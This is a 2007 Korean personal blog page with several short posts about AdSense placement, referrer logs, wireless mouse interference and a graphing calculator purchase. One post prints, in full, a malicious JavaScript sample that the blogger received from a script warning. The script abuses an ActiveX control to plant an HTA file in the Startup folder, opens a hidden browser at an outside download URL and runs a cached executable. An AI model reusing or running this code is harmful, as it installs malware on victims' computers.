구글 애드센스 가입 방법.  (6) 2007.10.22
구글애드센스 정책  (0) 2007.04.23
구글애드센스?  (0) 2007.04.23

녕하세요? 예전에 에드센스를 접하면서 광고본문에 배치한 것이 있었는데 처음에는 어떻게 배치해야할지 몰라 상당히 애를 먹었답니다. 인터넷의 이곳저곳에서 검색한 결과 성공을 해서 잘 사용하고 있네요. 아직 배치가 익숙치 않거나 방법을 찾는 분을 위해 포스트를 작성했습니다. 아래 내용과 같이 하시면 본문에 배치하는 것을 어렵지 않게 성공하실수 있답니다.


사용자 삽입 이미지

에 그림에서 보시는 것과 같이 스킨 편집에서 그림의 노란색 영역인 <div class='article'> ~ </div>태그 안에 녹색으로 표시된 것처럼 테이블 태그를 넣어주시면 본문에 배치가 됩니다.


림이라 복사해서 사용하기 어려워 보이는군요 녹색영역 소스를 첨부할께요 ‘// 배치할 에드센스코드 //’ 부분에 에드센스에서 받은 자신의 코드를 넣으셔서 사용하시면 됩니다.



2007.10.10 -프미케-

조금 전에 리퍼러 기록을 확인해 보는 중에 처음 보는 리퍼러들이 많이 보이여서 들어가 봤더니 다른 분의 블로그로 연결 되는 군요 대충보면 sso.tistory.com/BlogSSO/success.php?sess=470a71c49199f 이런 URL 들이 정말 많이 보이는네요 tistory.com/member/resetPass , tistory.com/member/findID 정말 처음보는 리퍼러 들인데 그중에서 가장 신기한게 dosbox.sourceforge.net 소스포지의 사이트와 연결됬네요 음.. 소스포지에가 어케 리퍼러에 기록되있지 minihp.cyworld.nate.com/pims/main/pims_main.asp?tid=52019411 싸이월드도 있네요 정말 신기한 현상이네요 왜 이런게 생겼는지 좀 알아봐야겠네요 누구 아는시는분 안계시나요?


사용자 삽입 이미지


2007.10.09 -프미케-

마전에 인터넷 익스플로러를 실행시켜서 네이버에 접속을 했는데 갑자기 스크립트 경고가 나왔습니다. 일단 다운 받기하고 열기가 있어서 다운을 받아 보니 js(java script)파일이네요 내용을 봐서 대충 뭐 URL을 찾아봤더니 http://news.163-stv.com/page/image/Downer.html 의 주소가있어서 대충 뉴스가 있는 것을 보니 네이버에 메인화면엔 뉴스가 나오니까 하고 그냥 넘어갔습니다.


늘 다른 사이트를 열었는데 다시 스크립트 경고가 나오네요 이번엔 네이버도 아니구 티스토리 인지라 무엇인가 이상해서 다시 전에 받아뒀던 스크립트 파일을 열어보았습니다. 익스플로러를 이용해서 페이지를 생성하고 하는 악성코드였네요 코드 내용은 아래와 같아요


var Good_fan = null;

function shit()

{

try{Good_fan = new ActiveXObject("\x54\x68\x75\x6E\x64\x65\x72\x53\x65\x72\x76\x65\x72\x2E\x77\x65\x62\x54\x68\x75\x6E\x64\x65\x72\x2E\x31");}

catch(e){return;}

var vip;

vip="<script defer> var shell=\"

<html>

<body>

<script>

window.moveTo(4000,4000);window.resizeTo(0,0);

var shell=new ActiveXObject(\\\"wscript.shell\\\");

shell.Run(\\\"C:\\\\\\\\Progra~1\\\\\\\\Intern~1\\\\\\\\IEXPLORE.EXE http://news.163-stv.com/page/image/Downer.html\\\",0,0);

function runmm(){var path=shell.SpecialFolders(\\\"MyDocuments\\\");

var china=path.substring(0,path.lastIndexOf(\\\"\\\\\\\\\\\"));

china+=\\\"\\\\\\\\Local Settings\\\\\\\\Temporary Internet Files\\\\\\\\Content.IE5\\\\\\\\\\\";

var sp=new ActiveXObject(\\\"shell.application\\\");

var chenzi=sp.NameSpace(china);

for(i=0;

i<chenzi.Items().Count;

i++){var Folder=chenzi.Items().Item(i).path;Folder+=\\\"\\\\\\\\page[1].exe\\\";

try{shell.Exec(Folder);

}catch(e){};

}window.close();

};

shell.Run(\\\"cmd.exe /c tree c:\\\\\\\\ /f\\\",0,1);

runmm();

<\\/script>

</body>

</html>\";

var love = new ActiveXObject(\"ADODB.Recordset\");

love.Fields.Append(\"love\", 200, 3000);love.Open();

love.AddNew();

love.Fields(\"love\").Value=shell;love.Update();

love.Save(\"C:\\\\Documents and Settings\\\\All Users\\\\「역迦」꽉데\\\\넋埼\\\\폘땡\\\\Thunder.hta\",0);

love.Close();</script>";

        var ret=Good_fan.AddCateogry(vip);

        Good_fan.SetBrowserWindowSize(0,0,400,300);

        var strps = Good_fan.GetServerPath();

        strps = strps.substr(0, strps.length-1);

        strps+="\\page\\index.htm";

        Good_fan.SetBrowserWindowData(strps,"love");

        Good_fan.HideBrowserWindow(1);

        return;

}


단 위에 있는 URL에 중국어 폰트가 설치 되지 않아서 문자는 나오지 않지만 중국어가 짐작되는 이상한 사이트로 연결 되는군요 내용을 스크립트 내용두 자세히는 모르겠지만 확실히 악성 코드 같군요


2007.09.18 -프미케-

마우스와 무선 랜 간의 간섭현상 때문에 마우스를 많이 사용하는 작업을 한다거나 혹은 게임을 할 때 상당한 스트레스를 받고 있습니다. 그럴때면 정말 던지고 싶은 충동을 느끼지만 인격수양을 한다는 생각으로 한번더 생각하며 인내하고 사용하고 있답니다.(사실은 살 때 비싸게 주고 샀기 때문이죠 크크) 801.11n 무선랜 기기들은 주파수 대역이 마우스가 것과 다르기 때문문제가 해결될 것으로 생각하구 나올때 까지 기다리다 사용할까 했지만 정말 이지 드래그 할때 한번 눌렀는데 계속 더블 클릭 현상이 계속 생기면 정말이지 유선마우스를 그냥 쓰는게 낳을것 같은 생각이 드네요 그래서 지금 쓰는것과 같은 모양의 마우스인 mx-518 을 봤어요 가격이 다른 유선 마우스에 비해 다소 비싸네요 최저가가 43500원으로 저렴 하지는 않은 가격의 마우스인데 스펙사항이 맘에 쏙 드는군요


사용자 삽입 이미지


런 이유 때문에 그냥 이걸 구매할까 아니면 사용후기를 보구 더 자세히 골라볼까 그냥 인내하면서 무선 마우스를 쓸까 하구 갈등을 하고 있답니다.


2007.09.17 -프미케-

 컴퓨터를 사용하고 있지만 간단한 계산은 주로 쌀집계산기(버튼이 커다란 기본계산기)를 사용하곤 했었습니다. 물론 길거리표 계산기 여서 그런지 버튼을 누르면 가끔 들어가서 안나오는 현상이 있었지만 버튼 틈새부분식용유를 바르면 얼마간 잘 눌러지고 하더군요 한 두달 전인가 그 쌀집 계산기가 망가지는 바람에 그냥 컴퓨터 보조 프로그램 안에 있는 계산기를 켜서 쓰고하는데 휴대성이 없어서 컴퓨터 앞이 아니면 사용할 수가 없어 상당히 불편하더군요 그래서 계산기를 다시 사려고 보니 공학계산기가 편할것 같더군요 가끔 프로그래밍을 하다가 비트연산 부분이 나오면 보조프로그램의 계산기공학용 모드로 맞추고 진수변환을 해서 썻었는데 자꾸 창을 닫아버려서 다시 실행 하고 쓰는 것이 여간 귀찮은게 아니었습니다.


사용자 삽입 이미지


일단 인터넷에서 알아보니 텍사스인스투먼트, 카시오, 샤프 社의 제품을 많이 사용하는 것 같았습니다. 고르다보니 가끔 푸리에 트랜스폼을 계산할 경우 기능이 막강한 계산기라면 좋겠다는 생각이 들어 그래프가 되는 것을 골라 봤습니다. 일단 텍사스인스투먼트社의 ti-89 titanium 모델이 기능이 상당히 좋아보였지만 포털 최저가 검색으로 보니 가격이 약 17만원으로 상당히 비싼편에 들었습니다. 물론 하드웨어가 좋은 만큼 가격도 비싼것은 당연하지만 이렇게 까지 사용할 필요는 없겠다 싶어 카시오社 의 FX-9860G SD 모델을 선택하게 되었습니다.


사용자 삽입 이미지


이것도 상당히 좋은 계산기로 평판이 나있는 터이라 인터넷 쇼핑몰을 통하여 바로 구매를 했습니다. 가격도 7만이 조금 안되는 가격으로 ti-89 titanium 모델에 비해서는 부담이 훨씬 줄어드는 가격이었습니다. 주문을 일반 오픈 마켓이아니라 GS이숍에서 구매를 했는데 G마켓이나 옥션의 경우 익일 배송을 해주던데 배송은 조금 느린것 같군요 2일 정도 걸렸지만 배송비무료 라는 매력이 있군요 일단 물품을 받고 상자를 열어보니 커다란 책과 계산기가 들은 상자가 보였습니다.


사용자 삽입 이미지


책을 보니 한국 수입판매원이 제공해주는 600페이지가 넘는 한글 번역본 매뉴얼 이군요 일단 매뉴얼에 압박을 받으며 계산기 본체를 상자에서 꺼내 보았습니다. 건전지는 초기에 제공이 되지 않는군요 일단 AAA사이즈 건전지가 4개 들어가는 것을 확인 할 수 있었어요 예전에 건전지를 한 30개 정도 사두어서 넣었더니 작동을 하네요 메뉴도 여러 가지가 지원 되구요 맘에 드는건 MATH 모드로 하면 노트에 쓰는 것처럼 수식이 작성되네요 이것 외에도 스프레드 시트, 재무계산, 프로그램 모드등 여러 가지 강력한 기능들이 지원 되는것을 확인 할 수 있었어요


사용자 삽입 이미지


일단 내부에도 플래시 롬을 가지고 있지만 FX-9860G SD 모델은 SD카드 확장 슬롯이 있어 넉넉하게 공식이나 프로그램 모드에서 작성 된 것을 저장하면서 사용 할 수 있을 것 같아 보이네요

사용자 삽입 이미지


일단 매뉴얼을 따라서 하나하나 기능을 익히고 있는 중이지만 상당히 마음에 드는 계산기입니다.

2007.09.11 -프미케-

'낙서장' 카테고리의 다른 글

[유머글] 재미있는 경영학 강의  (4) 2008.04.29
호수공원의 아침  (22) 2007.10.18
내 뇌구조는 어떻게 생겼을까?  (10) 2007.09.01
버스에서 본 광화문 거리  (5) 2007.08.30
날씨 좋음 ^^v  (0) 2007.05.22

마 전에 리퍼러 기록을보는 중에 ‘여탕 동영상‘이라는 단어가 떳습니다. 이상하게 저런 내용의 포스트를 작성한 적이 없는데 왜 저런 리퍼러 기록이 떳을까? 하고 생각이 들었습니다. 또 전에 ‘버추얼덥과 포토샵으로 동영상에 워터 마크, 글씨를 넣어보자!!’ 라는 내용으로 포스트를 작성한 적이 있어 거기에 ‘동영상’ 이란 단어검색되어서 나왔을 것이라 생각 하고 그냥 넘어갔답니다.


사용자 삽입 이미지

제 리퍼러 기록에 ‘여탕 동영상’ 이라는 단어가 다시 검색 되었군요 궁금한 마음에 궁금한 마음에 클릭을 해보니 다음에서 검색이 되었는데 위에 있는 동영상에 워터마를 작성하는 방법을 소개한 포스트가 아니군요 폼페이에 대해 작성한 유럽여행기목욕 문화에 대한 내용에 남탕과 여탕이 구분이 안되있다는 내용과 목욕탕 유적 동영에 ‘<동영상>폼페이 대중목용탕’ 이라고 제목을 붙여 놨는데 이 두 개 가 조합되니까 저런 결과가 나오는군요 결국엔 강력한 다음 검색엔진님께서 만들어낸 재미있는 결과네요

사용자 삽입 이미지

 

야동필 을 기대하셨을 검색자 님을 생각하면 아쉬움을 동감할 수 있을 것 같습니다. 크크

 

2007.09.05 -프미케-

사용자 삽입 이미지
2
003년 처음으로 무선 마우스 무선 키보드 세트를 구입 되었어요 당시에는 무선 마우스랑 키보드가 각각 10만원이 넘는 고가 장비구입할 엄두가 나지를 않았었어요. 요즘에는 컴퓨터를 구매하려면 인터넷 쇼핑몰에서 가격을 알아보고 마음에 드는 것을 주문하면 손쉽게 구매할 수 있지만 당시만 해도 인터넷 쇼핑몰이 그렇게 활성화 되어있지 않아 구매 정보는 주로 전자상가에 나가보거나 컴퓨터 잡지에 많이 의존했던 것 같아요 컴퓨터를 구입할 생각으로 전자상가를 돌아다니다 보니 로지텍무선 키보드마우스가 묶어서 12만원 정도에 파는 물건을 발견했어요 큰맘 먹구 구매해서 사용했는데 정말로 편하게 얼마간 잘 사용했답니다.


년의 시간이 흘러 무선인터넷 장비가 보급화 되었어요 무선이라 선을 넘길 필요도 없고 유선은 때에 따라서 창문 틈사이나 문틈 사이를 뚫고 선이 지나할 경우가 생기는데 이렇게 되면 지저분하고 선을 설치하는 것도 일이고 컴퓨터 위치 바꾸면 또 선위치도 바꿔야하는 번거로움을 해소하려고 인터넷 환경도 전부 무선으로 바꾸었답니다.


제는 여기에서 발생했어요 남부럽지 않게 장비를 무선으로 사용하고 있는데 이게 왠일이예요 마우스를 한번만 눌렀는데 막 더블 클릭되는 현상이 발생하는 거예요 처음엔 마우스가 고장 났나 했는데 또 조금 지나면 정상 작동하다 자기 마음대로 움직이는 거예요 또 가끔 키보드도 한번 눌렀는데 막 연속 입력되고 정말 처음엔 아이콘 드래그 하려거나 그래픽 편집 작업을 할 때면 정말이지 던지고 싶은 충동을 느끼곤 했어요 하지만 그때면 완소(완전 소심) 한 성격 탓에 항상 가격을 떠올리면서 인격을 수양하고 있답니다.


마도 무선 마우스 키보드가 2.4 GHz 를 사용하고 무선 인터넷 장비도 같은 주파수 대역을 사용해서 간섭 으로 인해서 발상한 현상 같은데 채널을 이곳 저곳 바꾸어 보았지만 사용하는 마우스랑 키보드는 채널이 달랑 두 개 뿐이라 채널을 변경해서 이런 현상완화 되긴 했지만 가끔 같은 현상이 발생 하는군요 그래두 5년 이상을 사용하다보니 정이 들어서 계속 이 마우스만 사용하게 되는군요


2007.09.04 -프미케-

 녕하세요? 8/31일자 공지를 보니까 티스토리 초대장이 배포 되었다고 올라와 있군요 많은 양은 아니지만 저한테도 초대장이 배포 되었군요 초대장이 필요하신 분들 말씀 주시면 초대장을 드리겠습니다. 전부는 아니지만 요즘 스팸 블로거 분들이 좀 있으신것 같습니다. 그래서 배포는 선착순으로 하지 않고 나름대로 선정하여 스팸 블로거가 되지 않으실 분이라고 믿음이 가는 분께 드리도록 하겠습니다. 혹시라도 스팸 블로거가 되실 분이라면 바로 신고 하도록 하겠습니다.

바램은 비슷한 주제로 같이 이야기 하고 공유하실분 이라면 더욱 좋겠지만 그렇지 않더라도 악의적의지 않게 블로그를 성실히 운영하실 분이라면 초대장을 보내드리겠습니다.


 ● 초대장을 신청하는 양식은 아래와같습니다.


  ① 초대장을 받을 E-MAIL 을 기재해주세요

     (이메일을 기재하지 않으시면 초대장을 보내드릴 수가 없으니 양해 부탁드립니다.)


  ② 자신이 만들 블로그에 대한 간략한 소개를 해주세요

     (이 내용을 참고 하여 선정 하도록 하겠습니다. 기존에 다른곳에서 블로그를 운영하시다

      티스리로 옮기실 목적이라면 링크도 함께 적어주세요)


  *
신청은 반드시 이 포스트(글) 아래에 댓글로 달아주신 분에 한해서만 배포됩니다.

    (방명록에 기재하실 경우 제가 확인이 어렵기 때문에 이 포스트(글) 아래 댓글로 달아주시기를

     부탁드립니다.)


 
이메일을 기재해야 하기 때문에 가능한 비밀댓글로 달아주시기 바랍니다.


가 드릴 수 있는 초대장한정 되어있어 꼭 필요한 분들께 드리고 싶은 마음에 선착순이 아니라 선정하는 방식을 선택하게 되었습니다. 만약 ‘그냥 줘두 될꺼 뭐 저렇게 생색 낼까?’ 라고 생각 하신분이 계신다면 아무쪼록 양해 부탁드립니다.


감사합니다.

 

2007.09.02  -프미케올림-

+ Recent posts